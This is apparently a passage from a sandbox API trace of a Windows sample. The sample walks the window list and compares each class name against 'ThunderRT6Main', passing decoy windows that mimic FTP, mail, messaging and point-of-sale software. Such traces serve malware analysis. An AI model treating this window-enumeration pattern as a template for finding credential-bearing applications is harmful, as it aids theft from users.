returned 0xa9c [0241.546] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0241.546] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.546] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.546] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0241.546] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0241.546] GetClassNameA (in: hWnd=0x10238, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0241.546] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0241.546] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0241.547] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0241.547] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.547] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.547] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0241.547] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0241.547] GetClassNameA (in: hWnd=0x10234, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0241.547] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0241.547] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0241.547] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0241.547] GetClassNameA (in: hWnd=0x10236, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.547] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.547] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0241.547] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0241.547] GetClassNameA (in: hWnd=0x10230, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0241.547] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0241.547] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0241.547] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0241.547] GetClassNameA (in: hWnd=0x10232, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.547] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.547] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0241.547] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0241.547] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0241.547] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0241.547] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0241.547] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0241.547] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.547] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.547] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0241.547] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0241.547] GetClassNameA (in: hWnd=0x10228, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0241.548] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0241.548] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0241.548] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0241.548] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.548] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.548] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0241.548] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0241.548] GetClassNameA (in: hWnd=0x10224, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0241.548] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0241.548] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0241.548] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0241.548] GetClassNameA (in: hWnd=0x10226, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.548] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.548] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0241.548] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0241.548] GetClassNameA (in: hWnd=0x10220, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0241.548] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0241.548] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0241.548] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0241.548] GetClassNameA (in: hWnd=0x10222, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.548] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.548] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0241.548] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0241.548] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0241.548] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0241.548] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0241.548] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0241.548] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.548] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.548] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0241.548] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0241.548] GetClassNameA (in: hWnd=0x10218, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0241.548] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0241.549] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0241.549] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0241.549] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.549] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.549] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0241.549] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0241.549] GetClassNameA (in: hWnd=0x10214, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0241.549] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0241.549] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0241.549] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0241.549] GetClassNameA (in: hWnd=0x10216, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.549] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.549] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0241.549] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0241.549] GetClassNameA (in: hWnd=0x10210, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0241.549] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0241.549] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0241.549] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0241.549] GetClassNameA (in: hWnd=0x10212, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.549] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.549] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0241.549] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0241.549] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0241.549] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0241.549] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0241.549] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0241.549] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.550] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.550] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0241.550] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0241.550] GetClassNameA (in: hWnd=0x10208, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0241.550] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0241.550] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0241.550] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0241.550] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.550] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.550] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0241.550] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0241.550] GetClassNameA (in: hWnd=0x10204, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0241.550] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0241.550] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0241.550] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0241.550] GetClassNameA (in: hWnd=0x10206, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.550] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.550] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0241.550] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0241.550] GetClassNameA (in: hWnd=0x10200, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0241.550] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0241.550] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0241.550] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0241.550] GetClassNameA (in: hWnd=0x10202, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.550] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.550] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0241.550] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0241.550] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0241.550] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0241.550] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0241.551] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0241.551] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.551] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.551] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0241.551] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0241.551] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0241.551] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0241.551] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0241.551] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0241.551] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.551] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.551] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0241.551] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0241.551] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0241.551] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0241.551] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0241.551] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0241.551] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.551] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.551] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0241.551] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0241.551] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0241.551] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0241.551] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0241.551] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0241.551] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.551] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.551] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0241.551] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0241.551] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0241.551] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0241.551] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0241.552] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0241.552] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.552] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.552] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0241.552] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0241.552] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0241.552] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0241.552] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0241.552] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0241.552] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.552] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.552] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0241.552] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0241.552] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0241.552] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0241.552] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0241.552] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0241.552] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.552] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.552] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0241.552] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0241.552] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0241.552] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0241.552] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0241.552] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0241.552] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.552] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.552] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0241.553] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0241.553] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0241.553] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0241.553] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0241.553] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0241.553] GetClassNameA (in: hWnd=0x101de, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.553] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.553] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0241.553] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0241.553] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0241.553] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0241.553] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0241.553] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0241.553] GetClassNameA (in: hWnd=0x101da, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.553] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.553] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0241.553] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0241.553] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0241.553] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0241.553] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0241.553] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0241.553] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.553] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.553] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0241.553] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0241.553] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0241.553] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0241.553] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0241.553] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0241.553] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.553] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.553] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0241.553] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0241.553] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0241.554] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0241.554] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0241.554] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0241.554] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.554] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.554] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0241.554] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0241.554] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0241.554] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0241.554] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0241.554] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0241.554] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.554] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.554] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0241.554] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0241.554] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0241.554] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0241.554] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0241.554] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0241.554] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.554] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.554] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0241.554] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0241.554] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0241.554] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0241.554] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0241.554] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0241.554] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.554] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.554] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0241.554] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0241.554] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0241.554] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0241.554] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0241.555] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0241.555] GetClassNameA (in: hWnd=0x101be, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.555] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.555] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0241.555] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0241.555] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0241.555] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0241.555] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0241.555] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0241.555] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.555] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0241.555] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0241.555] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0241.555] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0241.555] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0241.555] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0241.555] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0241.555] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x172470, nMaxCount=64 | out: lpClassName="IME") returned 3 [0241.555] lstrcmpA (lpString1="IME", 